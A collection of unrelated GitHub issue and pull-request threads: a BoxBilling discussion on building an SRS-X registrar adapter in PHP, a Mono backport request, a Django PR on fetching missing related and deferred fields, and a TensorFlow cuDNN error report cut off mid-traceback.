Also, Cory was one of my testers and he now sees the button. He had to authenticate, so it looks like his session was cleared between the last time he checked and now when he can see it.
I'm checking with my other user. Perhaps we just ran into a batch of caching problems that I hadn't seen in a long time and this is okay? I'll check back in when i hear from my other user.

My other has reported that they can now see the button as well, so I think we can chalk this up to the caching problem creeping back in for the first time in a while.
@peetucket I think we can close this, unless there is something else you think we should look into?

OK sounds good - and we do have a bit of extra logging now in the future if we need it.  But perhaps if it  happens again, you can first suggest quitting their browser for good measure and then restarting and logging in again.  I believe this would clear any session variables holding on to the previous work groups and force them to be refreshed in a new login session.  If that fixes the problem for them, this makes it almost certain it is a caching in the session variable issue.

I will definitely do that. We had this problem many years ago, but I haven't seen it in so long that I had forgotten about this new session. I'll remember that for the future. Apologies for the churn. Closing this ticket.


[FATAL BUG] CurlException: "TCP connection reset by peer" and other issues

After resolved my bug from this thread. I've got some issues like below:

Got an error message such as CurlException: "TCP connection reset by peer" when trying check a domain using resellerclub.com API like screenshot below:

for resellerclub.php api adapter you can check on this link. I guess this old version script still not compatible for latest version boxbilling

Got an error message "An exception has been thrown during the rendering of a template ("Domain registrar srsx was not found")." although I removed srsx.php due empty script  on ../bb-library/Registrar/Adapter/ when trying open https://namedomain.com/bb-admin/servicedomain like screenshot below:

How I can fix it? Also How I can integrate another registrar provider such as srs-x.com using this documentation?

For error log you can check screenshot below:

I am already updated bootstrap theme to latest version and using boxbilling latest version.

@rndevuk @samapraku I don't recall boxbilling having a srsx registrar module. From what I can tell they are using a WHMCS registrar module with boxbilling. This module will have to be converted to boxbilling any takers? I don't believe that we can support this.

@timothygwebb You are right. There isn't a srsx registrar module.
@rebelholic You need to find out whether srsx uses resellerclub api or logicboxes - I believe they use the same api endpoints/modules, though I stand to be corrected.
If srsx uses the same system then you can extend the resellerclub adapter here:
https://github.com/boxbilling/boxbilling/blob/master/src/bb-library/Registrar/Adapter/Resellerclub.php
You can check the other adapters that extend the Resellerclub adapter to know how to go about it.

If they are using whmcs then you will need to right a registrar module to communicate with whmcs api instead.

@samapraku You can check Domain Manager Add-on WHMCS 7.x ( 7.7.0-1 ) Support PHP 5.6 - 7.2 for further investigation on this link . It seems complicated or not?
How about number 1? Have anyone figure out to fix it?

@rebelholic  the files you have linked are encrypted and are not of any use.  I don't have much information about srsx so I cannot be of help with regards to their system.
As far as I know, the resellerclub adapter in boxbilling still works without any issue. The error you are seeing is most likely due to API configuration at the reseller club portal (that is if you are using reseller club).
Crosscheck that the IP you are checking the domain from is allowed to make api requests to your resellerclub account.

@rebelholic The module you are using was not written to be compliant with our system. The systems that the module you are using can be found at the following link. https://kb.srs-x.com/en/
Just for clarification the only systems that srs-x supports are the following.
WHMCS
HostBill
Blesta
I would recommend you contact srs-x and have the create a module for use with our systems.
Regarding @samapraku comment if you need assistance locating your api credentials.
Read the following. https://kb.srs-x.com/en/reseller/reseller-configuration/api-settings

@rebelholic Another recommendation would be to try and use our WHMCS module with srs-x. It seems to be the closest match.

@rebelholic the files you have linked are encrypted and are not of any use. I don't have much information about srsx so I cannot be of help with regards to their system.
As far as I know, the resellerclub adapter in boxbilling still works without any issue. The error you are seeing is most likely due to API configuration at the reseller club portal (that is if you are using reseller club).
Crosscheck that the IP you are checking the domain from is allowed to make api requests to your resellerclub account.

you can download on this link
also for resellerclub problem when I back to menu configuration-domain registration I've got error message such as "An exception has been thrown during the rendering of a template ("Domain registrar srsx was not found")."  like no. 2 above. How I can fix it?

@rebelholic the files you have linked are encrypted and are not of any use. I don't have much information about srsx so I cannot be of help with regards to their system.
As far as I know, the resellerclub adapter in boxbilling still works without any issue. The error you are seeing is most likely due to API configuration at the reseller club portal (that is if you are using reseller club).
Crosscheck that the IP you are checking the domain from is allowed to make api requests to your resellerclub account.

you can download on this link
also for resellerclub problem when I back to menu configuration-domain registration I've got an error message such as "An exception has been thrown during the rendering of a template ("Domain registrar srsx was not found")." like no. 2 above. How I can fix it?

I already removed all caches files on .../bb-data/cache/ still not luck

@rebelholic please extract the attached document in the following location bb-library/Registrar/Adapter.
Then go to your boxbilling installation to the following address /bb-admin/servicedomain and click on the gear for srsx to install.
Once this is completed you should be able to go to the address bb-admin/servicedomain#tab-registrars and configure the srsx.php file to meet your needs. If this does function for you I will make a pull request to have it added to the repository and reviewed by the boxbilling team. If you make any major changes to srsx.php please contribute your changes so way they can be included in the final module.
srsx.php.zip

@timothygwebb
For no 1 already fixed with whitelist my Server IP on resellerclub.com
For no 2 already fixed about An exception has been thrown during the rendering of a template ("Domain registrar srsx was not found")  bug after replaced with srsx.php from you
so another problem srs-x module from you actually need password as main requirement. Already fixed your script only add password function on this link. You can check out Hostbill Domain Manager Module script and his layout for easier convert to BoxBilling Version

Instead of reusing the whole Resellerclub adapter class definition, it is better to extend the resellerclub adapter instead and override only the required methods.
@rebelholic You can replace the adapter definition with this and it will work the same way.
`<?php
class Registrar_Adapter_srsx extends Registrar_Adapter_Resellerclub
{
public function __construct($options)
{

    if (!extension_loaded('curl')) {
        throw new Registrar_Exception('CURL extension is not enabled');
    }

    if(isset($options['resellerId']) && !empty($options['resellerId'])) {
        $this->config['resellerId'] = $options['resellerId'];
        unset($options['resellerId']);
    } else {
        throw new Registrar_Exception('Domain registrar "SRSX" is not configured properly. Please update configuration parameter "SRSX Reseller ID" at "Configuration -> Domain registration".');
    }

    if(isset($options['apiUsername']) && !empty($options['apiUsername'])) {
        $this->config['apiUsername'] = $options['apiUsername'];
        unset($options['apiUsername']);
    } else {
        throw new Registrar_Exception('Domain registrar "SRSX" is not configured properly. Please update configuration parameter "SRSX Username" at "Configuration -> Domain registration".');
    }

    if(isset($options['apiPassword']) && !empty($options['apiPassword'])) {
        $this->config['apiPassword'] = $options['apiPassword'];
        unset($options['apiPassword']);
    } else {
        throw new Registrar_Exception('Domain registrar "SRSX" is not configured properly. Please update configuration parameter "ResellerClub API Key" at "Configuration -> Domain registration".');
    }
}

    public static function getConfig()
{
    return array(
        'label'     =>  'Manages domains on SRSX via API. ResellerClub requires your server IP in order to work. Login to the ResellerClub control panel (the url will be in the email you received when you signed up with them) and then go to Settings > API and enter the IP address of the server where BoxBilling is installed to authorize it for API access.',
        'form'  => array(

            'resellerId' => array('text', array(
                        'label' => 'RESELLER ID',
                        'description'=> 'You can get this at ResellerClub control panel, go to Settings -> API'
                    ),
                 ),

            'apiUsername' => array('text', array(
                    'label' => 'Username Reseller. You can get this at ResellerClub control panel Settings > Personal information > Primary profile > Reseller ID',
                    'description'=> 'ResellerClub Reseller ID'
						),
					),

             'apiPassword' => array('password', array(
                'label' => 'Password Reseller. You can get this at ResellerClub control panel Settings > Personal information > Primary profile > Reseller ID',
                'description'=> 'SRSX Password ID'
            ),
         ),
        ),
    );
}

}
`

@samapraku @rebelholic is this issue resolved now? If so I will need to have resolution so way I can add it to the repository or one of you all will need to do it then close this issue. Thanks for the help.

@samapraku
Thanks for your suggestion. I already replaced with your script like above (you can check out this link) got error message syntax error, unexpected 'public' (T_PUBLIC), expecting end of file when trying click domain configuration menu such as screenshot below:

@rebelholic make sure to copy the code correctly. I have copied it and just tried it on my development setup and it is working without any errors.

You should use only the code I have posted and not the one in the pastebin you have posted.

You should use only the code I have posted and not the one in the pastebin you have posted.

yeah Its fixed now. But another problem you should replace all API url on srsx.php must same on their documentation

You should use only the code I have posted and not the one in the pastebin you have posted.

yeah Its fixed now. But another problem you should replace all API url on srsx.php must same on their documentation.
Also How I can make basic authentication? You can check a reference script from another module below:

protected function _callApi($query=false,$postfields=false) {
if ($query && is_array($postfields)) {
Get URL
if (preg_match("/a/",$this->configuration["resellerId"]["value"])) {
$resellerId = substr($this->configuration["resellerId"]["value"],0,-1);
$apiUrl = "http://srb{$resellerId}.alpha.srs-x.com";
} else {
if ($this->configuration["sandbox"]["value"]=='on') {
$apiUrl = "http://srb{$this->configuration["resellerId"]}.srs-x.net";
} else {
$apiUrl = "http://srb{$this->configuration["resellerId"]}.srs-x.com";
}
}
Basic authentication
$postfields["username"] = $this->configuration["apiUsername"]["value"];
$postfields["password"] = $this->configuration["apiPassword"]["value"];
CURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$apiUrl}/api/{$query}");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 300);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postfields));
$apiXml = curl_exec($ch);
curl_close($ch);
$apiResult = simplexml_load_string($apiXml);
$this->logmessage("error","API_URL: {$apiUrl}/api/{$query}\nAPI_Postfields:\n".print_r($this->protectField($postfields),true)."API_Response:\n".print_r($apiXml,true));
return $apiResult;
}
return false;
}

@rebelholic May I close this issue or do you still have an issue?

@timothygwebb
Please check out this script stilll cannot detect domain with SRSX API. Whats wrong from my script structure? I already revised script for more simple

@rebelholic Your script needed to be updated to be php7.4 compliant.
Please reference the following website https://wiki.php.net/rfc/deprecate_curly_braces_array_access to update any further changes but the one location I found. I have attached in the srsx.txt
I have also shown a screenshot to where you can use the script to create your tld to register and should be able to use it to query or check for domain availability once all the code is correct from the linked issue above.

srsx.txt

@rebelholic You also need to look into fixing the following.
[24-Sep-2020 03:17:35 UTC] PHP Notice:  Undefined variable: apiUrl in boxbilling/src/bb-library/Registrar/Adapter/srsx.php on line 164. I will look into this as well but that is the main issue you are dealing with. If I have a resolution I will update the srsx.txt file.

@rebelholic You also need to look into fixing the following.
[24-Sep-2020 03:17:35 UTC] PHP Notice: Undefined variable: apiUrl in boxbilling/src/bb-library/Registrar/Adapter/srsx.php on line 164. I will look into this as well but that is the main issue you are dealing with. If I have a resolution I will update the srsx.txt file.

I can give my SRSX API Username and password for temporary time for quick resolve. Whats your email or skype?

That is not necessary at the moment almost done.

Send me file attachment on Discord with your information for testing.

Password protect the zip and let me know the password.

@timothygwebb whats your discord id?

@timothygwebb
On Wed, Sep 23, 2020, 11:42 PM WannabeCoder<EMAIL_ADDRESS>wrote:

@timothygwebb https://github.com/timothygwebb whats your discord id?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/boxbilling/boxbilling/issues/650#issuecomment-698092691,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AD24K7KCAIFSDCNAZ77VMJ3SHK5ZLANCNFSM4RTSGNIQ
.

@timothygwebb
…
On Wed, Sep 23, 2020, 11:42 PM WannabeCoder @.***> wrote: @timothygwebb https://github.com/timothygwebb whats your discord id? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#650 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AD24K7KCAIFSDCNAZ77VMJ3SHK5ZLANCNFSM4RTSGNIQ .

you forget 4 digits for your discord ID

Timothy#5506 and by the way. I think I have already fixed it would be nice to validate.

@rebelholic The attached file save it as .php and put it where it belongs should fix your issue.
srsx.txt

Here is what happens when I execute a domain/check using the file w/o credentials.
[24-Sep-2020 04:09:09 UTC] PHP Warning:  SimpleXMLElement::__construct(): I/O warning : failed to load external entity "

SRS-X

Oops!
This page doesn't exist.

@rebelholic The issue was with how you were passing the xml element I modified the code from simplexml_load_string to $apiResult = new SimpleXMLElement($apiXml, NULL, TRUE);
echo $apiResult->asXML();

@rebelholic The issue was with how you were passing the xml element I modified the code from simplexml_load_string to $apiResult = new SimpleXMLElement($apiXml, NULL, TRUE);
echo $apiResult->asXML();
By the way if the file above now works I do not need your credentials.

I already added you on discord. We can discuss on discord

@rebelholic Sounds great. I need to go to sleep. If the file above second srs-x.txt file above works would enjoy getting to discuss the changes I made on Discord. We can discuss tomorrow if the second attached ssrsx.txt file doesn't work for you.

@timothygwebb its working for authentication but cannot working for detect domain because take time for loading after click check button. I cannot read any log whats problem for this case. We can talk on discord later

@rebelholic feel free to join us: https://discord.gg/PYNcFVM

Hello,
I already revised again but still not luck, please check out my latest script. First time, we must fix basic authentication bug when check a domain like error log below:

2 Illegal string offset 'value' /bb-library/Registrar/Adapter/srsx.php 132
2 Illegal string offset 'value' /bb-library/Registrar/Adapter/srsx.php 139
2 Illegal string offset 'value' /bb-library/Registrar/Adapter/srsx.php 140
8 Undefined variable: apiUrl /bb-library/Registrar/Adapter/srsx.php 145
8 Trying to get property 'result' of non-object /bb-library/Registrar/Adapter/srsx.php 120
8 Trying to get property 'resultCode' of non-object /bb-library/Registrar/Adapter/srsx.php 120
Domain is not available. 0

So whats wrong from this script?

@rebelholic Can this be closed with the following comment from Discord?
youknowme Yesterday at 11:56 PM
I already resolved with my partner, I will upload to github later.
@rebelholic If you need any assistance getting it uploaded or committed as we call it and submitting your pull request please let us know and we will be happy to assist.

No, Please check new script: https://pastebin.com/V2Su2FXi after fixed
check domain bug.  You should fix it immediately
ᐧ
On Mon, Sep 28, 2020 at 6:57 AM Mr. Timothy G Webb Sr. <
<EMAIL_ADDRESS>wrote:

@rebelholic https://github.com/rebelholic Can this be closed with the
following comment from Discord?
youknowme Yesterday at 11:56 PM
I already resolved with my partner, I will upload to github later.
@rebelholic https://github.com/rebelholic If you need any assistance
getting it uploaded or committed as we call it and submitting your pull
request please let us know and we will be happy to assist.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/boxbilling/boxbilling/issues/650#issuecomment-699705890,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABPXCHAT7MLWUXOGGZCEIJTSH7GPZANCNFSM4RTSGNIQ
.

--
[image: --]
Marda Faqruradi
[image: https://]about.me/mardafaqruradi
https://about.me/mardafaqruradi?promo=email_sig

@rebelholic This file does function and allows to order by specified price and .tld.
At this time I am unable to submit a pull request due to authentication issues.
srsx.zip
Please commit to the repository after testing.
Thank you

No still not work due you not follow guide from srsx documentation, You still failed to fix it
error log

8 Undefined property: Registrar_Adapter_srsx::$client_data /bb-library/Registrar/Adapter/srsx.php 182
Call to undefined method Registrar_Adapter_srsx::addError()

Please recheck again my script: https://pastebin.com/V2Su2FXi --> I already modified not much

has this been solved now? if so can it be closed?

No I am still working on it. I have it functioning with api access but some
of the functions do not work as expected. I would appreciate some
assistance regarding this issue. It is just building out the remaining
functionality to the standards of the documentation.
On Tue, Oct 6, 2020, 6:55 AM Ryan Nolan<EMAIL_ADDRESS>wrote:

has this been solved now? if so can it be closed?
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/boxbilling/boxbilling/issues/650#issuecomment-704190313,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AD24K7PVDKE5WMA6GUMB3NTSJLZQ7ANCNFSM4RTSGNIQ
.

@timothygwebb, did you solve this?

@evrifaessa I have not at this time and the requester has stated that they have someone to work on this. Working on other higher priority issues at the moment pdf.

@evrifaessa If you would like to pick this up there are only a few minimal changes that need to be made to the srsx.php registrar file to allow for api communication to verify domain name availability. It is acting like it works but in all reality it is not because I know of domains that exists and are available and the file is stating that they are not.


[2018-02] Backport some GTK patches

This is to backport the following changes to 2018-02
https://github.com/mono/bockbuild/pull/66
https://github.com/mono/bockbuild/pull/68
https://github.com/mono/bockbuild/pull/63
https://github.com/mono/bockbuild/pull/64

As far as I know the 2018-02 branch is frozen so this will need a sign-off from @marek-safar or @luhenry.
Please backport the patches to 2018-04 and 2018-06 in the meantime as those are still open :)

Thanks! I've filed backport PRs for those branches here:
https://github.com/mono/bockbuild/pull/70
https://github.com/mono/bockbuild/pull/71


Fixed #28586 -- Improve handling of missing related/deferred field values

Overview
This PR changes how related fields (forward foreign keys, one to one forwards and backwards) are handled when prefetch_related() and select_related() was not used. In that case, the first time such a field is accessed, its and all "peer" objects (instances in the same queryset) will have its related objects of the same type fetched. This avoids the infamous ORM N+1 query problem.
This commit also handles deferred fields (when specified via QuerySet.only() / QuerySet.defer()). By default, Django will fetch all field valeus for all peers. This avoids N+1 queries for deferred fields too.
Consideration has been taken to address potential cases where this behavior leads to worse performance. To track peers, weakrefs is used. In the case retrieving more rows that is needed (which itself is bad!). No more related objects than is needed will be fetched. I.e., running
model = list(HugeTable.objects.all())[0]
model.related_field

only one related object will be retrieved.
When dealing with querysets of single objects, a regular WHERE id = 1234 where clause will be used, not a IN clause:
SomeModel.objects.first().related_field  # Will not use ... WHERE id IN (1234, ...) to get related_field

Usage
The majority of users will get improved performance where explicit prefetches or incomplete .only()/.defer() specifications has been made, without making further changes.
However, fine grained control over which strategy is used is provided viadjango.db.models.fetch_missing_fields. Available options is:

peers - fetch missing fields for all peer instances (the default)
on_demand - fetch results, one by one.
never - never fetch missing field value, instead raise FetchMissingFieldError.

These strategies can be enabled/disable using a decorator and/or a context manager (with-block) to mark specific pieces:
from django.db.models import fetch_missing_fields

@fetch_missing_fields("never")
def my_view(request):
    qs = MyQuerySet.objects.prefetch_related("something")
    ...

with fetch_missing_fields("on_demand"):
    ...

Using the never strategy can be useful in performance critical code paths. The exception/stack trace will directly point to the offending field.
For even greater control, different modes can be specified for related and deferred fields:
with fetch_missing_fields(related="peers", deferred="never"): ...

This allows having related objects fetches automatically while being strict for deferred fields.
To be discussed / todo

[ ] Does sqlite limit the number of IDs that can be given in an IN clause, could that lead to problems?
[ ] Should an additional strategy called warn be introduced that is equivalent to peers except that it also emits a warning?
[ ] Should we add QuerySet.fetch_missing_fields(...) that always takes precedence over the context/defaults?
[ ] Docs!
[ ] Switch to a callable interface instead of string constants, i.e. something like def func(*, field: Field, instance: Model, peers: list[Model]): ...
[ ] Add a way to set the default value mode (without using context managers)

References

django-dev discussion "Automatic prefetching in querysets":
https://groups.google.com/g/django-developers/c/EplZGj-ejvg
django-dev discussion "Sealing or locking QuerySets -- a suggestion to prevent surprise N+1 queries":
https://groups.google.com/g/django-developers/c/AR6HwgSYV-M/m/LmHP1OhcEQAJ
@tolomea s port of django-auto-prefetch to Django: https://github.com/django/django/pull/9064
django-auto-prefetch: https://pypi.org/project/django-auto-prefetch/
django-seal: https://pypi.org/project/django-seal/

I didn't have a chance to attend DjangoCon Europe but shouldn't we instead favour an approach that allows for different modes to be used when a relationship is lazily fetched like SQLAlchemy allows at model definition and querying time?
I think that focusing on relational fields, and thus prefetch related, might to be the right here as this problem of unintended lazy queries also exists when using other APIs that defer fields such as only and defer and that could benefit from a more generic approach to the problem. For full disclosure I'm the author of package that provides tools to address query leaks in another way and I plan on discussing a more generic solution during DjangoCon US in October.
Just to make it clear, I'm not saying I'm entirely against adding support enabling auto-prefetch related of relationships to core but I think we should make it an option of a more generic entry point into configuring the behaviour of fetching lazy relationships and deferred attributes.

I didn't have a chance to attend DjangoCon Europe but shouldn't we instead favour an approach that allows for different modes to be used when a relationship is lazily fetched like SQLAlchemy allows at model definition and querying time?

Absolutely. The PR here now has three modes: on-demand (current behaviour), peers (django-auto-prefetch behaviour), never (django-seal behaviour).
As for "at query time", the proposal is to add a context manager for changing mode. This isn't exactly the same a QuerySet method, but I think it should cover most cases. I'm also not sure of how we could specify at model definition time and how that would interact with the context manager.

I think that focusing on relational fields, and thus prefetch related, might not be the right way to approach the problem as unintended lazy queries also exists when using other APIs that defer fields such as only and defer. I believe we could benefit from a more generic approach to the problem. For full disclosure I'm the author of package that provides tools to address query leaks in another way and I plan on discussing a more generic solution during DjangoCon US in October.

Yeah we should handle deferred attributes with the current mode too. I think we can update this PR to add that behaviour.

Just to make it clear, I'm not saying I'm entirely against adding support enabling auto-prefetch related of relationships to core but I think we should make it an option of a more generic entry point into configuring the behaviour of fetching lazy relationships and deferred attributes.

👍 👍 👍

One of the change I would like to see in this PR is to make it less prefetch-related centric.
I believe the fact the abstractions revolve around prefetch-related (module, exception names, etc) and less around lazy objects fetching in general which I believe is the general problem here. IMO it would be much preferable to raise a generic exception mentioning that a deferred field was attempted to be fetched instead of pointing at using prefetch_related over select_related or removal of too aggressive field deferral.
I really think we need to have a larger discussion before moving forward with this approach particularly in a context where we're trying to have the ORM focus on async support as performing queries during deferred attributes access through descriptors is a pattern that requires special care that kind of defeats the purpose of an automated solution.

Thanks for your comments @charettes . I did not know about django-seal before. It makes a lot of sense and overlap a lot with this.
Considering deferred fields and broadening this PR sounds like a good plan. I will rework the PR to consider deferred fields too and renaming the concepts removing "prefetch" from the naming. Having deferred fields automatically fetch peer data would be great and avoid n+1 queries for deferred fields too.
This is our current best shot at naming. Would love to have your feedback/ideas on naming:
from django.db import models

# fetch all missing related peer rows in one query. avoid the n+1 problem. will apply to foreignkeys and deferred attributes
with models.fetch_missing.peers(): ...

# the mode of django, fetch each value by itself
with models.fetch_missing.on_demand(): ...

# never fetch missing data - do what django-seal do - throw exceptions
with models.fetch_missing.never(): ...

I made fetch_missing.peers() the default like Gordon Wrigley did before. I had to adjust assertNumQueries in a few places (for the better), apart from that, no breakages!
Regarding async support: Attribute access is always synchronous only, I am not sure there is much we can do about it. Unless the data is loaded upfront via prefetch_related/select_related/avoiding deferred fields, the only viable option is to throw an error, I think.

Hey @adamchainz @charettes. I have been reworking the patch with your suggestions/ideas:

The concept and naming is now based around "fetching missing fields" rather than automatic prefetching (which itself is misleading, this was never about automatic prefetching, if anything it is "postfetching" as Adam pointed out!). Please keep further naming improvements coming!
I have tried to incorporate the ideas and concepts from django-seal which I think make change even more amazing!
I have implemented peers support in deferred fields too. Should give a nice speed boost when only()/defer() was not fully properly specified. The never option is of course the best option to get them 100% right though!
I thought about some use cases of my own and figured that I really want to use never for only/defer but automatic fetching of related fields in a lot of places in my own project. I think that need extends outside of my own project too. I think fetch_missing_fields(deferred="never") will be a great balance in many cases.

Hey @tolomea - this PR is heavily based on your previous ideas / discussions / django-auto-prefetch / PR #9064. Thanks for making all those great projects! 🎈 I would love to have your feedback on this!

@pelme Thank you for finding the time to advance this, I wish I had had the time to do so. I will give it a look through.

Regarding "automatic prefetching", a classic case of not noticing the mental box you are in, when we did the first version of this the mindset was automating prefetch related calls and that framing has hung around.
Fetching missing and post fetching are both better frames.
The extension to deferred is nice and something that had crossed my mind.
I agree configuration was needed, the context manager is a slightly surprising approach, but thinking through the different usecases it does seem to come out either first or equal.
A large general problem with configurability in this space is how to deal with third party packages.
In most large Django projects if you set it to error project wide a bunch of third party packages would start failing.
In that regard the context manager approach gives good control scope and can easily be applied at view level or even middleware.
I sincerely believe this is a thing that should be done and probably should've been done a while ago. In the years since the first version I've used it in every Django project I've worked on and never had a single problem. Meanwhile N+1 is a trap new Django users wander into daily and probably also contributes to the meme of Django being slow.

Incidentally it was originally done with a queryset function to enable it, the problem with that is it doesn't carry into the things that are fetched.
for address in Address.objects.enable_prefetch():
    print(address.city.country)

would not fetch the countries in bulk.
Even like that it helped a bunch, especially in the Admin.
On the next project, when I'd had it in place for a while with no issues, I left the enable out and just went always on. That is the version that eventually got open sourced.

This might be over solving but I feel like a call back option would be nice. Give it:

The model
The field name
Is this a defer or an FK type of thing
What would have happened without the call back (peers, on_demand, never)
The callback can then choose whether to return peers, on_demand or never.

This lets the user do any kind of logging they might feel like.
For someone who really doesn't want auto fetching but has some annoying 3rd party libs it lets them easily put together middleware that enforces that policy.
If someone who has alternate ideas on how all of this should be handled (model level config for example) they have a hook for implementing that, again probably in middleware. Which lets them much more easily make a lib to demonstrate their ideas.

Overview
This PR changes how related fields (forward foreign keys, one to one forwards and backwards) are handled when prefetch_related() and select_related() was not used. In that case, the first time such a field is accessed, its and all "peer" objects (instances in the same queryset) will have its related objects of the same type fetched. This avoids the infamous ORM N+1 query problem.
This commit also handles deferred fields (when specified via QuerySet.only() / QuerySet.defer()). By default, Django will fetch all field valeus for all peers. This avoids N+1 queries for deferred fields too.
Consideration has been taken to address potential cases where this behavior leads to worse performance. To track peers, weakrefs is used. In the case retrieving more rows that is needed (which itself is bad!). No more related objects than is needed will be fetched. I.e., running
model = list(HugeTable.objects.all())[0]
model.related_field

only one related object will be retrieved.
When dealing with querysets of single objects, a regular WHERE id = 1234 where clause will be used, not a IN clause:
SomeModel.objects.first().related_field  # Will not use ... WHERE id IN (1234, ...) to get related_field

Usage
The majority of users will get improved performance where explicit prefetches or incomplete .only()/.defer() specifications has been made, without making further changes.
However, fine grained control over which strategy is used is provided viadjango.db.models.fetch_missing_fields. Available options is:

peers - fetch missing fields for all peer instances (the default)
on_demand - fetch results, one by one.
never - never fetch missing field value, instead raise FetchMissingFieldError.

These strategies can be enabled/disable using a decorator and/or a context manager (with-block) to mark specific pieces:
from django.db.models import fetch_missing_fields

@fetch_missing_fields("never")
def my_view(request):
    qs = MyQuerySet.objects.prefetch_related("something")
    ...

with fetch_missing_fields("on_demand"):
    ...

Using the never strategy can be useful in performance critical code paths. The exception/stack trace will directly point to the offending field.
For even greater control, different modes can be specified for related and deferred fields:
with fetch_missing_fields(related="peers", deferred="never"): ...

This allows having related objects fetches automatically while being strict for deferred fields.
To be discussed / todo

[ ]  Does sqlite limit the number of IDs that can be given in an IN clause, could that lead to problems?
[ ]  Should an additional strategy called warn be introduced that is equivalent to peers except that it also emits a warning?
[ ]  Should we add QuerySet.fetch_missing_fields(...) that always takes precedence over the context/defaults?
[ ]  Docs!
[ ]  Switch to a callable interface instead of string constants, i.e. something like def func(*, field: Field, instance: Model, peers: list[Model]): ...
[ ]  Add a way to set the default value mode (without using context managers)

References

django-dev discussion "Automatic prefetching in querysets":
https://groups.google.com/g/django-developers/c/EplZGj-ejvg
django-dev discussion "Sealing or locking QuerySets -- a suggestion to prevent surprise N+1 queries":
https://groups.google.com/g/django-developers/c/AR6HwgSYV-M/m/LmHP1OhcEQAJ
@tolomea s port of django-auto-prefetch to Django: Fixed #28586 -- Added support for automatically prefetching 2one fields. #9064
django-auto-prefetch: https://pypi.org/project/django-auto-prefetch/
django-seal: https://pypi.org/project/django-seal/

The PR changes how Django handles related fields when prefetch_related() and select_related() are not used. In that case, the first time such a field is accessed, its and all "peer" objects (instances in the same queryset) will have its related objects of the same type fetched. This avoids the infamous ORM N+1 query problem.
The PR also handles deferred fields (when specified via QuerySet.only() / QuerySet.defer()). By default, Django will fetch all field values for all peers. This avoids N+1 queries for deferred fields too.
The PR uses weakrefs to track related objects, so that related objects are only fetched when they are actually needed. This can help to avoid the case where more related objects are fetched than are needed.
The PR provides fine-grained control over which strategy is used via the fetch_missing_fields decorator and context manager. The available options are:
peers: Fetch missing fields for all peer instances (the default)
on_demand: Fetch results, one by one.
never: Never fetch missing field value, instead raise FetchMissingFieldError.
The fetch_missing_fields decorator and context manager can be used to mark specific pieces of code or to control the strategy for a specific block of code.
Paraphrased the PR for easy understanding.

@pelme Do you have time to keep working on this?

Yes I do

Closing due to inactivity.

I am still interested in pursuing this but have not been able lately. Eventually I aim to complete this work but I do not know when.
If anyone else is interested in working on this, you are very welcome to pick up this PR and keep working on it!

I am still interested in pursuing this but have not been able lately. Eventually I aim to complete this work but I do not know when.

Please feel-free to send a new PR when you have time. Thanks you for all your efforts :gift:

Makes sense, thank you @felixxm !


TF2.0beta1+cudnn: Failed to get convolution algorithm. This is probably because cuDNN failed to initialize

Please make sure that this is a bug. As per our GitHub Policy, we only address code/doc bugs, performance issues, feature requests and build/installation issues on GitHub. tag:bug_template
System information

OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Ubuntu 18.04
TensorFlow installed from (source or binary): virtualenv and pip
TensorFlow version (use command below): tensorflow-gpu 2.0.0-beta1
Python version: 3.6.7
GCC/Compiler version (if compiling from source): 7.4.0
CUDA/cuDNN version: 7.6.0
GPU model and memory:  GTX1660Ti, 6 GB

Describe the current behavior
UnknownError                              Traceback (most recent call last)
 in
1 import tensorflow as tf
----> 2 tf.keras.layers.Conv2D(10, 3)(tf.ones((1, 5, 5, 3)))
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/keras/engine/base_layer.py in call(self, inputs, *args, **kwargs)
710           with base_layer_utils.autocast_context_manager(
711               input_list, self._mixed_precision_policy.should_cast_variables):
--> 712             outputs = self.call(inputs, *args, **kwargs)
713           self._handle_activity_regularization(inputs, outputs)
714           self._set_mask_metadata(inputs, outputs, input_masks)
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/keras/layers/convolutional.py in call(self, inputs)
194
195   def call(self, inputs):
--> 196     outputs = self._convolution_op(inputs, self.kernel)
197
198     if self.use_bias:
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/ops/nn_ops.py in call(self, inp, filter)
1076
1077   def call(self, inp, filter):  # pylint: disable=redefined-builtin
-> 1078     return self.conv_op(inp, filter)
1079
1080
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/ops/nn_ops.py in call(self, inp, filter)
632
633   def call(self, inp, filter):  # pylint: disable=redefined-builtin
--> 634     return self.call(inp, filter)
635
636
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/ops/nn_ops.py in call(self, inp, filter)
231         padding=self.padding,
232         data_format=self.data_format,
--> 233         name=self.name)
234
235
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/ops/nn_ops.py in conv2d(input, filter, strides, padding, use_cudnn_on_gpu, data_format, dilations, name, filters)
1950                            data_format=data_format,
1951                            dilations=dilations,
-> 1952                            name=name)
1953
1954
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/ops/gen_nn_ops.py in conv2d(input, filter, strides, padding, use_cudnn_on_gpu, explicit_paddings, data_format, dilations, name)
1029             input, filter, strides=strides, use_cudnn_on_gpu=use_cudnn_on_gpu,
1030             padding=padding, explicit_paddings=explicit_paddings,
-> 1031             data_format=data_format, dilations=dilations, name=name, ctx=_ctx)
1032       except _core._SymbolicException:
1033         pass  # Add nodes to the TensorFlow graph.
~/venv_tf2.0/lib/python3.6/site-packages/tensorflow/python/ops/gen_nn_ops.py in conv2d_eager_fallback(input, filter, strides, padding, use_cudnn_on_gpu, explicit_paddings, data_format, dilations, name, ctx)
